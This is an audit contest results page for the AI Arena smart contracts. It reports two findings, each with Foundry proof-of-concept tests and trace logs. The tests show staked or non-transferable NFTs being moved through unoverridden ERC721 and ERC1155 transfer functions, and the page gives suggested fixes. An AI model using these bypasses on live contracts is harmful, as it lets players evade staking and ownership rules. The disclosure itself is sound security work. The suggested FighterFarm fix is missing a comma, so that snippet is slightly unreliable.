AI Arena - jaydhales's results

In AI Arena you train an AI character to battle in a platform fighting game. Imagine a cross between PokΓ©mon and Super Smash Bros, but the characters are AIs, and you can train them to learn almost any skill in preparation for battle.

General Information

Platform: Code4rena

Start Date: 09/02/2024

Pot Size: $60,500 USDC

Total HM: 17

Participants: 283

Period: 12 days

Judge:

Id: 328

League: ETH

AI Arena

Findings Distribution

Researcher Performance

Rank: 267/283

Findings: 2

Award: $0.10

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355

Vulnerability details

Impact

Before Fighter NFTs can be transferred, two conditions must be met.

  • The receiver must not have the maximum number of NFTs allowed for each player (i.e 10).
  • The Sender cannot transfer Fighters that are currently staked.

All these are enforced by overriding safeTransferFrom(address,address,uint256) . However, safeTransferFrom(address,address,uint256,bytes) is ignored, which makes it possible for NFTs to be transferred.

Proof of Concept

Here is a coded POC to demonstrate the issue:

  • TRANSFER STAKED NFT
function test_TransferStakedNFT() public {
        vm.label(_DELEGATED_ADDRESS, "Receiver");

        _mintFromMergingPool(_ownerAddress);
        _fighterFarmContract.addStaker(_ownerAddress);

        // Update NFT staking info to true
        _fighterFarmContract.updateFighterStaking(0, true);

        // Attempt to transfer Locked Fighter
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);

        // Transfer with safeTransferFrom(address,address,uint256,bytes)
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
    }
  • TRANSFER NFT TO RECIEVER WITH MAX AMOUNT ALLOWED
function test_TransferNFTsToMaxedReceiver() public {
        vm.label(_DELEGATED_ADDRESS, "Receiver");

        _mintFromMergingPool(_ownerAddress);

        for (uint8 i = 0; i < 10; i++) {
            _mintFromMergingPool(_DELEGATED_ADDRESS);
        }

        console.log(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));

        // Attempt to transfer Locked Fighter
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);

        // Transfer with safeTransferFrom(address,address,uint256,bytes)
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);

        console.log(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));
    }

Logs

    β”‚   β”œβ”€ emit FighterCreated(id: 10, weight: 80, element: 1, generation: 0)
    β”‚   β”‚   └─ ← ()
    β”‚   └─ ← ()
    β”œβ”€ [695] FighterFarm::balanceOf(Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0]) [staticcall]
    β”‚   └─ ← 10
    β”œβ”€ [0] console::log(10) [staticcall]
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::expectRevert(custom error f4844814:)
    β”‚   └─ ← ()
    β”œβ”€ [1283] FighterFarm::safeTransferFrom(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], 0)
    β”‚   └─ ← EvmError: Revert
    β”œβ”€ [33506] FighterFarm::safeTransferFrom(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], 0, 0x)
    β”‚   β”œβ”€ emit Approval(owner: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], approved: 0x0000000000000000000000000000000000000000, tokenId: 0)
    β”‚   β”œβ”€ emit Transfer(from: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], tokenId: 0)
    β”‚   └─ ← ()
    β”œβ”€ [581] FighterFarm::ownerOf(0) [staticcall]
    β”‚   └─ ← Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0]
    β”œβ”€ [695] FighterFarm::balanceOf(Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0]) [staticcall]
    β”‚   └─ ← 11
    β”œβ”€ [0] console::log(11) [staticcall]
    β”‚   └─ ← ()
    └─ ← ()

Test Setup:

Tools Used

Foundry

Override safeTransferFrom(address,address,uint256,bytes) instead of safeTransferFrom(address,address,uint256) FighterFarm.sol . This is because the former gets called by the latter with an empty bytes (openzeppelin@4.7.3:ERC721.sol#L169).

function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
				bytes memory data
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, data);
    }

Assessed type

Token-Transfer

#0 - c4-pre-sort

2024-02-23T05:38:03Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-23T05:38:11Z

raymondfam marked the issue as duplicate of #739

#2 - c4-judge

2024-03-11T02:50:00Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291

Vulnerability details

Impact

The lack of an override forΒ safeBatchTransferFromΒ could lead to security vulnerabilities or unexpected behaviour in contracts that interact with the token. For example, a malicious actor could potentially transfer non-transferable tokens in a batch transfer, which could bypass checks for non-transferable tokens.

Proof of Concept

The providedΒ safeTransferFromΒ function overrides the standard ERC1155 function to check if the NFT is transferable. However, theΒ safeBatchTransferFromΒ function, which is also a part of the ERC1155 standard, is not overridden. This means that the additional check for transferability is not applied when transferring multiple tokens at once. This could lead to unexpected behaviour.

Here is a coded POC to demonstrate the issue:

function testTransferNonTransferrableNFTs() public {
				vm.label(_DELEGATED_ADDRESS, "Receiver");
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        // Mint NFT
        _gameItemsContract.mint(0, 1);

        // Set NFT as non-transferrable
        _gameItemsContract.adjustTransferability(0, false);

        // Attempt to transfer NFT with safeTransferFrom
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

        uint256[] memory id = new uint256[](1);
        id[0] = 0;
        uint256[] memory amount = new uint256[](1);
        amount[0] = 1;

        // Transfer NFT with safeBatchTransferFrom
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, id, amount, "");

        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

Log

β”œβ”€ [6908] GameItems::adjustTransferability(0, false) β”‚ β”œβ”€ emit Locked(tokenId: 0) β”‚ └─ ← () β”œβ”€ [0] VM::expectRevert(custom error f4844814:) β”‚ └─ ← () β”œβ”€ [1314] GameItems::safeTransferFrom(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], 0, 1, 0x) β”‚ └─ ← EvmError: Revert β”œβ”€ [31942] GameItems::safeBatchTransferFrom(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], [0], [1], 0x) β”‚ β”œβ”€ emit TransferBatch(operator: GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], from: GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], ids: [0], values: [1]) β”‚ └─ ← () β”œβ”€ [718] GameItems::balanceOf(Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], 0) [staticcall] β”‚ └─ ← 1 β”œβ”€ [718] GameItems::balanceOf(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0) [staticcall] β”‚ └─ ← 0 └─ ← ()

Test Setup:

Tools Used

Foundry

Override safeBatchTransferFrom with the same check require(allGameItemAttributes[tokenId].transferable); to GameItems.sol

function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override(ERC1155) {
        for (uint256 i = 0; i < ids.length; i++) {
            require(allGameItemAttributes[ids[i]].transferable);
        }
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Token-Transfer

#0 - c4-pre-sort

2024-02-22T04:19:14Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T04:19:21Z

raymondfam marked the issue as duplicate of #18

#2 - c4-pre-sort

2024-02-26T00:29:09Z

raymondfam marked the issue as duplicate of #575

#3 - c4-judge

2024-03-05T04:56:40Z

HickupHH3 marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter